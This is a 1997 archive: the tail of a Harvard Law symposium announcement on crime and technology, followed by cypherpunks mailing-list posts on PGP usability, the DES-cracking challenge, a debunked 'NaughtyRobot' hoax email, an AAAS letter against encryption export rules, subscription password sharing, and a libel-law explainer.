Tentative Schedule, including Confirmed and Tentative Panelists:
9:30-9:45   Registration & coffee
9:45-10      Introduction
10-12         Panel:  "Search, Seizure, and Surveillance Technology"
                  (searching of technology & the technology of searching)
                  Moderator:  Stephen Heymann
                     assistant United States attorney in Boston who teaches at
                     HLS and was involved with the first wiretap laid on the
                     Internet.
                  Panelists:
                  o  Tony West
                      AUSA in San Jose who helped investigate the creator 
                      of PGP and is now prosecuting the "Orchid Club" 
                      cases against an international child pornography 
                      ring that distributed through the Internet.
                 o  Chris Slobogin
                     UFlorida professor who is the reporter for the
                     ABA Task Force on Technology and Law Enforcement
                 o  Andy Good
                     a Boston defense attorney who has defended computer
                     searches including US v. Steve Jackson Games
                 o  Marc Goodman
                     a Los Angeles Police Department sargeant who has
                     investigated computer crimes and has pursued the
                     impact of technology on police departments during 
                     his year at the Kennedy School of Government
                o  Elizabeth Marsh
                    a Quinnipiac Law School professor who has done work
                    on encryption and the danger of the federal government's
                    "key" proposal
12             Lunch:  box lunch provided
12:45-1:15 Keynote:  invited (tentative) keynote speaker:
                  Bob Kahn
                      Corporation for National Research Initiatives
1:15-3:15   Panel:  "The Risks of Electronic Banking &Commerce"
                  (content security & payment/banking security)
                   Moderator:  Charles Nesson
                      professor at Harvard Law School specializing in 
                      legal implications of digital technologies
                  o  Marc Rotenberg
                      EPIC (Electronic Privacy & Information Center)
                  o  Kelly Frey
                      Copyright Clearance Center
                  o  David Byer
                      partner, Testa Hurwitz & Thibeault, Boston, MA
                  o  Philip Bane
                      counsel, First Virtual
3:15 end

Admission to the Symposium is free to all Harvard affiliates (with valid
Harvard ID), $15 for all other students, $30 for public sector
professionals, and $100 for private sector professionals.

ADVANCE REGISTRATION IS STRONGLY SUGGESTED.

- ------------------------Registration Form-------------------------------

Harvard Journal of Law & Technology Symposium on Crime & Technology;
March 15, 1997;
registration begins at 9:30 a.m.; program begins at 10:00 a.m.
Ames Courtroom, Austin Hall, Harvard Law School, Cambridge MA

     Name:____________________________________________________

     Affiliation _________________________________________________

     Address __________________________________________________

             __________________________________________________

     Telephone:________________________________________________

     Email:____________________________________________________

     Check One:
                  _____ Private Sector Professional: $100
                  _____ Public Sector Professional:   $ 30
                  _____ Student:                      $ 15
                  _____ Harvard student (valid ID must be presented 
                                 at the door):  free

Make checks payable to:  Harvard Journal of Law & Technology

Mail the completed registration form with check to:
              Symposium Registration
              Harvard Journal of Law & Technology
              Publications Center
              Harvard Law School
              Cambridge, MA 02138

- ------------------------------Cut Here--------------------------------------

The Symposium is sponsored by Hale and Dorr L.L.P., Boston, MA.

The Spring Issue of the Journal will include articles covering the broad
topic of "Crime and Technology."

For additional information about the Symposium, contact
Symposium Editor Belinda Juran, by e-mail at juran@law.harvard.edu, or by
phone at the Harvard Journal of Law & Technology offices at
617-495-3606 or 617-493-7949.

ABOUT THE JOURNAL:
The Harvard Journal of Law & Technology is a leading scholarly
publication for articles addressing the many diverse interstices of
science and technology with law and society.  We have published articles
by law professors, practitioners, business leaders, and politicians on
varied topics including biotechnology, computers, international trade,
technology transfer, intellectual property, medical technologies, and
telecommunications. These and other subjects are some of the most
exciting and rapidly developing areas of the law, and we believe that the
dialogue provided by the Harvard Journal of Law & Technology will help to
shape the future of this important field.  We welcome submissions of
articles, case comments, or book reviews addressing the relationship of
law and technology.

SUBSCRIPTION INFORMATION:
For additional information, please contact the Journal at the address
below.  The Journal publishes three issues each year. To subscribe to the
Journal's upcoming issues in Volume 10,  please send the Journal a check
for U.S. $45.00 (foreign orders $50.00) to the address below.  To obtain
the issue discussed above or back issues, please send the Journal a check
for $35.00 with a note indicating the desired issue (i.e., "Vol. 9 No. 2").

*************************************************************************

              Harvard Journal of Law & Technology
              Publications Center
              Harvard Law School
              Cambridge, MA 02138

              Telephone: (617) 495-3606
              Fax:       (617) 495-8828

              E-Mail:  jolt@law.harvard.edu
              WWW:  http://www.law.harvard.edu/home/jolt/

*************************************************************************






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryce <bryce@digicash.com>
Date: Thu, 20 Feb 1997 08:57:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "cypherpunks is dead..."
Message-ID: <199702201657.IAA16261@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

 A million monkeys operating under the pseudonym 
 "Tim May <tcmay@got.net>" typed:
>
> (Getting PGP integrated into mailers
> is stil bogged down, for reasons I have to believe have to do with
> pressures from somewhere, else why would e-mail packages not make PGP
> support painless?)


Because PGP's user interface is yucky and its programmer
interface is even worse.


Amazing how people don't realize how much certain important 
things depend on such a (deceptively) simple concept as having
a nice user interface and a nice programmer interface.  In 
contradiction of certain cypherpunk urban legends, I suspect
that such pedestrian details are far, far more important to 
the course of history than the clumsy and feckless 
machinations of government agencies.


But for the good news, see the quote from Jim Bidzos in my
".plan".


Regards,

Zooko, Journeyman Interface Designer

NOT speaking for any organizations or persons whose names 
might appear in the headers of this message, or who might 
occasionally toss me some spare change in return for my 
brilliant software design work.

PGP sig follows




-----BEGIN PGP SIGNATURE-----
Version: 2.6.2i
Comment: Auto-signed under Unix with 'BAP' Easy-PGP v1.1b2

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P9X2/Oy10AwqC9nu90n/Ct5Z+63wFB6P
=CCQx
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@replay.com>
Date: Thu, 20 Feb 1997 12:56:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Why Digital Video Disks are late to market
Message-ID: <199702202056.MAA22465@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> ... there apparently has been some speculation among the U.S. PC community
> that Matsushita may be stonewalling on the software-licensing issue so that
> it can establish its hardware-based decryption solution in the marketplace.

The day it gets published in software is the day someone runs a
disassembler on it.  That's all there is to it.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve <privsoft@ix.netcom.com>
Date: Thu, 20 Feb 1997 17:27:11 -0800 (PST)
To: cypherpunks list <cypherpunks@toad.com>
Subject: The List
Message-ID: <199702210127.RAA26489@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Hey all,

As a somewhat quiet observer and student of the Cypherpunk list over the
last two years, I have been able to keep in touch with an unimaginable
amount of issues, info, concerns, and news; and the knowledge I have
gained from this list is more than I can say in words. I have sifted
through the noise and can say the info gleaned was indeed worth the
effort. I am sorry to see the list in its present state, ready to move
on to better? things. I hope I speak for many of you, like me who
listened learned asked and was answered, that the Cypherpunk list must
continue and that each of us, active and passive member has a
responsibility to ourselves and each other to continue bring the issues
to light , fighting the good fight against the gov't's lousy
regulations, and bringing encryption to the masses. I have been working
with a security software development company for 2 and half years and
have been working on this goal: bringing encryption to the masses. The
information both directly (actual posts relating to Crypto) and
indirectly (Rants and flames on Snakeoil products) gained has helped
guide me and my colleagues closer and closer to our goal. For that and
more I thank all of you. We are very close to releasing a beta version
of our product to the Internet community to use and abuse. We have
worked closely with Bruce Schnieir and Counterpane to insure good
implementation of our security measures. I hope our product meets with
your standards and approval but more importantly I hope that you (the
collective you) can be instrumental in helping us to accomplish our
goal. I will post to this list (assuming it is still amongst the living)
very shortly a more detailed description of the product and where a beta
can be gotten. I am sorry for "whetting the appetites" but I figured
since I was E-mailing a post relating to the state of list, I include a
bit about how the list has positively effected me and has contributed to
society.

Steveo (privsoft@ix.netcom.com)
--Privacy Software Division--
Syntel Technologies, Inc.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 20 Feb 1997 22:26:06 -0800 (PST)
To: Ellen Iwasaki <eiwasaki@gol.com>
Subject: Re: security breached by NaughtyRobot
Message-ID: <199702210626.WAA01272@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Don't panic.  It's just a hoax.  Lots of other people have received it.
The hoaxer got your address somewhere off the Internet (maybe Usenet,
maybe your web page) and sent you the email. 


At 12:40 PM 2/20/97 +0900, Ellen Iwasaki wrote:
>HELP! Can anyone tell me what this message is that I received in my mail
>today? Is it real? Should I do as it suggests? I have used the Internet
>once to purchase some books? Was my credit card number stolen in the
>process? How did this happen and how will it affect me? What should I do?
>PLEASE ADVISE ASAP! Thank you for your help
>Ellen Iwasaki
>Kumamoto, Japan
>
>> From: eiwasaki@gol.com
>> Date: Wed, 19 Feb 97 02:27 CST
>> Apparently-From: eiwasaki@gol.com
>> Apparently-To: eiwasaki@gol.com
>> Reply-to: eiwasaki@gol.com
>> Registered-mail-reply-requested-by: eiwasaki@gol.com
>> Sensitivity: PERSONAL-CONFIDENTIAL
>> Precedence: EMERGENCY
>> Priority: URGENT
>> Comment: Authenticated sender is <eiwasaki@gol.com>
>> Organization: NaughtyRobot
>> Subject: security breached by NaughtyRobot
>>
>> This message was sent to you by NaughtyRobot, an Internet spider that
>> crawls into your server through a tiny hole in the World Wide Web.
>>
>> NaughtyRobot exploits a security bug in HTTP and has visited your host
>> system to collect personal, private, and sensitive information.
>>
>> It has captured your Email and physical addresses, as well as your phone
>> and credit card numbers.  To protect yourself against the misuse of this
>> information, do the following:
>>
>>         1. alert your server SysOp,
>>         2. contact your local police,
>>         3. disconnect your telephone, and
>>         4. report your credit cards as lost.
>>
>> Act at once.  Remember: only YOU can prevent DATA fires.
>>
>> This has been a public service announcement from the makers of
>> NaughtyRobot -- CarJacking its way onto the Information SuperHighway.
>>
>
>
>
>

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Thu, 20 Feb 1997 17:26:53 -0800 (PST)
To: cypherpunks@algebra.com
Subject: Re: DES search publicity (was Re: Cryptanalysis)
Message-ID: <199702210126.RAA26465@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 19 Feb 1997, Adam Back wrote:

> Have there been any sightings of your code outside the US?
> 
> Rumor has it that ftp://ftp.replay.com/pub/incoming is a place where
> things often turn up, but I haven't seen it yet.

Last time I checked, deskr06i.zip, which I believe is the correct filename,
was in /pub/incoming.


Mark
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

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LGW4cDkpjg/gq5/AL4h49puuch4gVV7//pnfGke6fEvaBF/1wvpxNEh1Ades291t
guC1hllIoyQkrZIanwuiMl3ubq5Ep3yuorVoYkqspYYmtfzwkhduDmEbqfMp13mN
BCJG2QIUtm2GctkWn7rQDaLwFBBn+VIhOn1zF9EPfgr1PXt8HIhzWfQ3JkmtF9Ql
wkxz7ebTyhxIMt6culECrcSNBhSGLgxMCLYsnm8NlkGqESbmMVSHjg==
=LePS
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 20 Feb 1997 17:26:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Kiss the Toad
Message-ID: <199702210126.RAA26454@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


The news wads we've been posting will appear in the cpunk
mail dumpster.

Or, we'll e-mail them to anyone who unsubs but wants
the stuff.

Send us a blank message with subject: DUM_pit

-----

Thanks to JG for princely service, a kiss to the toad.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Elliot Lee <sopwith@cuc.edu>
Date: Thu, 20 Feb 1997 19:11:03 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: DES search publicity (was Re: Cryptanalysis)
Message-ID: <199702210311.TAA28160@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 19 Feb 1997, Adam Back wrote:

> 
> Peter Trei <trei@process.com> writes:
> > Bill Stewart <stewarts@ix.netcom.com> writes:
> > > There may be a distributed Internet crack using that approach, 
> > > though DES is still very inefficient on general-purpose computers and 
> > > works better on bit-twiddliing chips.
> > 
> > There's one slowly shaping up, organized by the same people who did 
> > the RC5-48 crack. I'm still rooting for an uncoordinated search, 
> > which is already underway.
> 
> The people who did the RC5-48 crack over on <des-challenge@muffin.org>,
> and <des-pr@mail.des-challenge.xtn.net>, or at least one of them in 
> particular, seems dead set on giving the prize fund 50:50 to the EFF/GNU.  
> I'm having a heck of a time talking him out of it.

http://zero.genx.net/ is going at it as well - and whoever finds the key
gets the prize.

What's wrong with EFF/GNU?

-- Elliot Lee
   http://www.redhat.com/             http://www.linuxexpo.org/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Thu, 20 Feb 1997 22:26:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: RRE: AAAS Crypto Letter -> Scientific Freedom & Human Rights"
Message-ID: <199702210626.WAA01288@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"rre@weber.ucsd.edu" 20-FEB-1997 23:02:43.31
From: Phil Agre <pagre@weber.ucsd.edu>

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
This message was forwarded through the Red Rock Eater News Service (RRE).
Send any replies to the original author, listed in the From: field below.
You are welcome to send the message along to others but please do not use
the "redirect" command.  For information on RRE, including instructions
for (un)subscribing, send an empty message to  rre-help@weber.ucsd.edu
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Date: Thu, 20 Feb 1997 14:16:54 -0500
From: afowler@aaas.org (Alex Fowler)
Subject: AAAS Crypto Letter -> Scientific Freedom & Human Rights

What follows is a copy of the letter sent under the signature of AAAS' 
Executive Officer, Dr. Richard Nicholson, to the Department of Commerce on 
the Bureau of Export Administration's Interim Rule on the transfer of 
certain encryption items.  The letter expresses our concern that the 
current federal policy with regard to encryption raises serious questions 
for both scientific freedom and human rights work.  In addition, it marks 
the first time that the Association has weighed in on the crypto debate at 
this level.

Sincerely,
Alex Fowler
AAAS Scientific Freedom, Responsibility
and Law Program



                      American Association for the Advancement of Science
                          1200 New York Avenue, NW, Washington, DC, 20005

     
February 7, 1997

Ms. Nancy Crowe
Regulatory Policy Division
Bureau of Export Administration
Department of Commerce
14th Street and Pennsylvania Ave., NW, Room 2705
Washington, DC 20230


Dear Ms. Crowe:

On behalf of the American Association for the Advancement of Science 
(AAAS), the world's largest general scientific society, I am responding to 
the Bureau of Export Administration's Interim Rule on the transfer of 
certain encryption items, published in the Federal Register, December 30, 
1996.  Before commenting directly on specific provisions of the Interim 
Rule, it is important to make the point that its basic thrust threatens to 
undermine essential features of scientific freedom and the open exchange of 
information that are generally acknowledged as critical to innovation in 
science and technology and are responsible in large part for the 
preeminence of America's research and development enterprise.  AAAS opposes 
attempts by the government to restrict the communication or publication of 
unclassified research and technical information, efforts which we believe 
are inconsistent with scientific advancement.  We are also concerned that 
certain provisions of the Interim Rule will adversely affect the effective 
use of information technologies in efforts to protect and promote human 
rights.

Many of our members in the academic community have legitimate concerns that 
teaching courses on cryptography appears to violate the Interim Rule if 
foreign students are enrolled in such courses.  Such a control seems to be 
inadvertent, since Part 744.9 states that "mere teaching or discussion of 
information about cryptography ... by itself would not establish the intent 
described in this section, even where foreign persons are present."  
However, Parts 734.3(b) and 734.9 place controls on all "educational 
information" applying to encryption software controlled under ECCN 5D002, 
and "Educational information" is defined as "release by instruction in ... 
academic institutions."  This matter requires further clarification to 
avoid any unnecessary chilling effect on our educational process.

Currently, part 734.3 (b)(3) of the EAR posits a difference between the 
paper and electronic publication of the same cryptographic materials.  
While it is acceptable under this provision to publish such material in a 
book and distribute it internationally without an export license, putting 
the same information on a disk and sending it abroad is subject to EAR 
approval.  This distinction has serious ramifications for scholarly 
communication as many professional journals are now moving onto the 
Internet as electronic publications.  Will cutting-edge innovations in 
cryptography be publishable in this new medium?  Consider the following 
example: the full text of Science magazine, the major peer reviewed journal 
published by AAAS, is currently available in both print and electronic 
formats.  According to the cited part in the EAR, an article accepted for 
publication on a new cryptographic algorithm would be acceptable in the 
print version of the publication.  However, because the electronic version 
is available to people outside the U.S., to comply with EAR, the journal 
would either have to be published without this article or substantial parts 
omitted.  Scientific publications are crucial to the advancement of science 
and technology and form a primary source of communication among researchers 
worldwide.  Restrictions that limit potential collaborations and channels 
of communication into new and innovative cryptographic products will not 
only impede scientific progress, but will also retard the evolution of a 
secure Global Information Infrastructure.

AAAS has encouraged the development of ethical standards by scientists to 
encourage responsible conduct and to establish accountability to a 
supportive public.  The codes of professional conduct promulgated by the 
largest and most important U.S. professional engineering and computing 
societies all stress the importance of protecting established cultural and 
ethical norms of information privacy and data integrity.  For example, the 
American Society of Information Science's Code of Ethics for Information 
Professionals mandates that its members "uphold each user's, provider's or 
employer's rights to privacy" and resist "all forms of censorship" in 
carrying out their responsibility "to improve, to the best of their means 
and abilities, the information systems in which they work or which they 
represent."  The Interim Rule would compel these scientists and engineers 
-- as employees of major software and hardware computing companies -- to 
produce information security systems that are intentionally weak for 
international markets.  This would create an ethical dilemma for the 
professional.  He is bound by his responsibility to honor the ethical norms 
agreed upon by his profession, but as a citizen of the U.S., he is also 
bound by his responsibility to act according to these federal regulations.  
The government should avoid whenever possible creating circumstances where 
professionals must make such choices.

AAAS provides technical assistance to human rights groups on the design and 
development of information management systems for large-scale human rights 
data collection and analysis.  This process concentrates politically 
volatile information in computers, such as the names of witnesses to 
military massacres in Guatemala who could be subjected to intimidation, 
harassment, or murder by those intent on preventing the public discussion 
and analysis of the information.  Such a system must be protected by strong 
cryptography. 

In our human rights work, we have observed the growing importance of 
non-governmental monitoring of state compliance with international human 
rights agreements as the first line of defense a civil society has against 
abusive regimes.  By documenting and publicizing analyses of abusive 
behavior by governments, non-governmental human rights organizations 
provide a fundamental check on state repression.  In order to be effective, 
human rights monitoring organizations must function with a high level of 
confidentiality.  They must protect the people who give them information 
about state violations of human rights.  Similarly, organizations must 
protect their own staff, many of whom may not be openly associated with the 
organization.

As an increasing proportion of human rights work is supported by the use of 
information technology, cryptographic techniques, including but not limited 
to encryption, have become immensely more important.  Organizations that 
concentrate valuable, dangerous information in databases on hard disks must 
be able to protect them from local authorities, who may be the subjects of 
human rights investigations.  Human rights groups communicating their 
findings with collaborating organizations in other countries must be able 
to transmit their information securely.  

The sending organization must include sufficient information so that the 
receiving organization can verify the claims.  If the information needed to 
verify the claims were intercepted, it could put the claimants in very 
serious danger.  Using strong cryptography, human rights organizations can 
communicate their findings without putting informants or staff at 
additional risk.

These are only a few examples of the compelling need for strong 
cryptography by human rights organizations.  The licensing provisions in 
the Interim Rule permit only inadequate technology for the fundamental, 
democratic needs of non-government human rights organizations.  Part 742.15 
of the Interim Rule suggests three categories of weak or unsafe encryption 
that are eligible for accelerated licensing: (1) includes 40-bit products 
called "mass market encryption software"; (2) permits key recovery 
products; and (3) allows non-recovery encryption items using the DES 
algorithm with 56-bit keys.  

Provisions (1) and (3) are equally untenable for human rights purposes 
because they authorize only products known to be breakable with available 
and inexpensive technology.  Provision (2), key recovery, is equally 
unsatisfactory for human rights organizations.  If keys can be recovered by 
the U.S. government, why should human rights organizations whose entire 
function is defined by abusive governments trust that their information 
will remain secure?  Given past and ongoing AAAS work in countries such as 
Haiti, Honduras, Guatemala, Turkey, and South Africa, this matter is of 
particular concern to us.

In view of these concerns, we urge the Bureau of Export Administration to 
amend the Interim Rule in favor of a more open exchange of ideas and 
information relating to cryptography.  We believe this would advance the 
nation's interests in a manner consistent with the values that are 
responsible for America's widely admired scientific achievements and its 
enduring democratic traditions.
                                           
Sincerely,


Richard S. Nicholson

cc:
John H. Gibbons
Mary L. Good
Orrin G. Hatch, Chair, Senate Judiciary Committee
Patrick J. Leahy, Ranking Minority Member, Senate Judiciary Committee
Jesse Helms, Chair, Senate Foreign Relations Committee
Joseph R. Biden, Jr., Ranking Minority Member, Senate Foreign Relations 
  Committee
John McCain, Chair, Senate Commerce, Science, and Transportation 
  Committee
Ernest F. Hollings, Ranking Minority Member, Senate Commerce, Science 
  & Transportation Committee
Conrad Burns, Member, Senate Commerce, Science, and Transportation 
  Committee
Tom Bliley, Chair, House Commerce Committee
John D. Dingell, Ranking Minority Member, House Commerce Committee
Bob Goodlatte, Member, House Commerce Committee
Henry J. Hyde, Chair, House Judiciary Committee
John Conyers, Jr., Ranking Minority Member, House Judiciary Committee
Benjamin A. Gilman, Chair, House International Relations Committee
Lee H. Hamilton, Ranking Minority Member, House International 
  Relations Committee
F. James Sensenbrenner, Jr., Chair, House Science Committee
George E. Brown, Jr., Ranking Minority Member, House Science Committee
Kenneth C. Bass, III, Esq.
Ann Beeson, Esq.
Cindy A. Cohn, Esq.
Gino J. Scarselli, Esq.


=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
For more information, contact:
Alexander Fowler or Patrick Ball
Directorate for Science and Policy Programs
1200 New York Avenue, NW
Washington, DC  20005
(202) 326-6600; Fax (202) 289-4950
afowler@aaas.org or pball@aaas.org
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Thu, 20 Feb 1997 22:26:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: user: cypherpunks, password: cypherpunks
Message-ID: <199702210626.WAA01280@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



     
                     Content Sites Vexed By Password Abuse
                                       
  The high cost of subscribers sharing log-ons
  
     By Whit Andrews 
     Playboy magazine even has a term for it: "frat-house syndrome." Just
     as readers might pass around a magazine or a copy of a newsletter
     among themselves-- why buy multiple copies when you can see it
     after the guy down the hall is finished?-- Internet users often
     freely share access to their electronic subscriptions.
     The difference is that the number of people who can use a magazine
     or newsletter simultaneously is finite--limited to, say, a
     workgroup or the number of people who can comfortably fit onto a
     couch.
     On the Web, that expands to the number of people worldwide who can
     hunker in front of their monitors, printers, and personal digital
     assistants.
     "We did have one situation where a person posted a link to a story,
     and with it a user ID and password, on the Web, so people could get
     into it," said Tom Baker, business director of The Wall Street
     Journal Interactive edition. "He just thought it was an interesting
     story." Baker said that user seemed somewhat naive about the
     profound flouting of copyright law in which he was engaging, and
     several content providers have reported similar anecdotes involving
     clueless users.
     "I even have people we do business with say, 'Oh yeah, I got a
     password for our office,'" said Kenneth Dotson, vice president of
     marketing at SportsLine USA Inc., a Fort Lauderdale, Fla.-based
     sports site with members-only content areas. "I've had that happen
     two or three times now." The problem of subscribers treating their
     privileges as a commodity that they can give away is particularly
     vexing to Web content sites, which have in most cases crossed a
     difficult hurdle in graduating to a model supported at least to
     some extent by subscription fees.
     Losing those usually low fees to user abuse is thus doubly
     frustrating.
     "We're here trying to make money," said Jay Froscheiser, corporate
     Webmaster at Data Transmission Network Corp., an Omaha, Neb.,
     online service creating new products on the Web with prices ranging
     from $20 to $50 monthly for access. "Serving 10 people on an
     account, we can't make money." DTN's solution is to use cookies,
     the tidbits of information that sites can store in browser files to
     track users' preferences and identities. If subscribers want to
     change browsers or access information from a different computer,
     they have to call DTN and set up the switch.
     Froscheiser said some subscribers complain that the system is too
     Draconian. For example, while many of the farmers who use
     agricultural information services have only one computer to work
     with, others whose work situations make them more itinerant are
     frustrated by their inability to log on from home, work, and
     elsewhere.
     But without exact statistics, it's DTN that is inconvenienced,
     because its deals with content providers are generally based on the
     number of subscribers who access the providers' services through
     DTN, Froscheiser said. "We have to have 100 percent accountability
     for how many people per service there are." Other content
     providers, whose prices are generally lower and are often defrayed
     by advertising to generate revenues, have adopted innovative ways
     to lure subscription cheats into ponying up the price to join.
     SportsLine, for instance, automatically enters members in all
     giveaways and promotions, whereas casual users have to key in their
     information manually. Subscribers can personalize their pages to
     allow them to follow special sports and teams.
     Dotson said such gentle measures are intended to make it more
     attractive to be a member than to use someone else's account, and
     are the only step likely for the company, at least into the near
     future.
     "The environment of the Web doesn't really allow you to police it,"
     he said, and after all, the company has enough of a revenue stream
     from ads to make extra users less of a burden. "We say, 'Okay, not
     much we can do about it, we'll just enjoy the extra page views.' "
     sitewide licenses Other companies whose information is more likely
     to be passed among office workers who share business interests
     rather than sports conversations are aggressively pursuing sitewide
     licenses and lower prices.
     The Wall Street Journal Interactive offers deals to offices that
     allow users to sign up, not with a credit-card number, but with a
     company ID number. Lexis-Nexis does not allow individual licenses,
     but prices its Web services based on how many people there are in
     the office instead.
     All of the content providers agreed that they would prefer other
     methods of controlling distribution, but that barring technological
     advances of significant proportion, they're stuck with what they've
     got.
     "Our strategy is not to implement a solution that's worse than the
     problem," said Wall Street Journal Interactive's Baker of encrypted
     document schemes and micropayment models. "If there were a way to
     protect our information that didn't put an onerous restriction on
     our subscribers reading it, we'd do it." Eileen Kent, vice
     president, new media division of Playboy Enterprises Inc. in
     Chicago, echoed the sentiment. Until technology improves, she said,
     content providers need to assume that there will be some improper
     use of memberships.
     "I think the technology will find solutions," she said. "But until
     then, it's just a cost of doing business."
       ______________________________________________________________
     
     Reprinted from Web Week, Volume 3, Issue 4, February 17, 1997 )
     Mecklermedia Corp. All rights reserved. Keywords: content
     electronic_commerce Date: 19970217 
     
                           http://www.iworld.com 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Darren Reed <darrenr@cyber.com.au>
Date: Thu, 20 Feb 1997 19:11:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Correct paranoia about evesdropping.
Message-ID: <199702210311.TAA28161@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



I don't read cypherpunks any more, and this may have already been
mentioned but it can't hurt to be pushed again.

Whilst not directly related to cryptography, if any of you saw the
chapters from "Secret Power" posted to best-of-security, know that
that particular book is well worth reading.  Of interest to those
who are concerned for privacy from snooping:

* NSA/DSD/CSE/etc (same type of organisation in different countries)
  use ground stations around the globe to intercept satellite to ground
  transmissions, have a network of computers built up to scan all telexes,
  faxes and even some internet traffic for known keywords in real time;

* there exist computers which can process speech in real time and scan
  for known text/words;

* embassies are popular "listening posts", as are buildings "along route"
  of microwave transmissions;

No mention is made about what their capacity is to decrypt data, but
encrypted data is analysed (e.g. high level Russian stuff).

The book has been extensively researched, with an appendix of all the
sources where relevant (i.e. newspapers articles, etc).  Photographs
of many overseas "bases" are included (e.g. Yakima in Japan).  Heck,
I live less than 1km from one of the sites photographed!

It's not an attractive book, but informative and good reading.

A quote from the book, talking about agent activities and involvement
in surveilence operations: "There is no evidence of a UKUSA code of ethics
or of a tradition of respect for Parliament or civil liberties in their home
countries.  The opposite seems to be true: that anything goes as long as you
do not get caught. Secrey not only permits but encourages questionable
operations."  The extent of the secrecy around the subject matter in the
book is best represented by the comments of a former New Zealand
Primeminister' foreword which admits that he was unaware of many details
in the book but not which ones.  I imagine it would be likewise enlighening
to many recent politicians of high station...

So, in summary, paranoia about being listened to is well formed, especially
if you're involved in overseas communications.  Just assume it is being
"tapped" if it is in clear text and you'll save yourself a lot of worrying
about the "might-be" factor.

"Secret Power"
ISBN 0-908802-35-8
Craig Potton Publishing,
Box 555, Nelson
New Zealand.
First publishing 1996, reprinted 1996.
Approximate cost AUS$35 (inc. freight)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Mon, 27 Jan 1997 19:32:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: public_law_other_650.html
Message-ID: <199701280332.TAA15473@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




[ISMAP]  [INLINE]

   Libel and Slander
   
   
   Tape #650
     _________________________________________________________________
   
   On this tape I will discuss libel and slander. It is for your general
   information only. It is not legal advice. It will give a general
   outline of the law on the subject as it applies in Ontario. If you
   have a legal problem, you should talk to a lawyer.
   
   We all have the right to have our reputation protected against false
   statements made against us. This protection is given to us by the law
   of defamation. On this tape I'll talk about defamation in both its
   forms - libel and slander. Libel can be a crime, but this section of
   the Criminal Code is rarely used, so I'll talk about libel and slander
   only in their civil context - the person defamed suing the defamer;
   asking for money as compensation for the injury to his reputation.
   
   
   Generally speaking, a defamatory statement is one which tends to lower
   a person in the estimation of right-thinking members of society. For
   example, if someone calls you a cheat in your business dealings, you
   probably have a lawsuit against him. That is, you do if he says it to
   someone other than you. It's not enough that the statement be made to
   the person it's about. It has to be communicated to another.
   
   
   What's the difference between libel and slander? Broadly speaking, if
   the defamatory statement is made in some permanent form, such as a
   newspaper or a letter, then it's libel. If it's in a transitory form,
   such as a hand gesture or the spoken word, then it's slander. But a
   defamatory statement that's broadcast on radio or television will be
   libel, not slander, even though it's spoken and not written.
   
   
   In the past, there was a good reason to know the difference between
   libel and slander. Today, if you can prove that you have been
   libelled, and there is no good defence, then the law will presume you
   have suffered damages and will fix an amount as compensation for your
   loss of reputation. In other words, you do not have to prove damages
   for actual financial loss.
   
   
   For many years, in cases of slander, you had to prove actual financial
   loss before you would be awarded damages under the law. In part, this
   was because slanderous statements were not considered permanent and
   therefore would not have as great an impact as libellous words,
   gestures or portrayals.
   
   
   Today, under the Ontario Libel and Slander Act, the requirement to
   prove damages in slander cases has been removed in certain situations.
   Mainly, these include cases where words are chosen to call into
   question the reputation of a person in relation to that persons
   office, profession, calling, trade or business. Therefore, if you
   could prove that Bill told John you were a cheat and then John refused
   to enter into a contract with you because of the statement, you would
   be compensated for the loss of contract and reputation. You would have
   to prove it was Bill's intention to attack your business reputation,
   but otherwise, damages would be awarded outright.
   
   
   Unfortunately, the Ontario Libel and Slander Act does not remove
   completely the requirement to prove damage, in all slander cases.
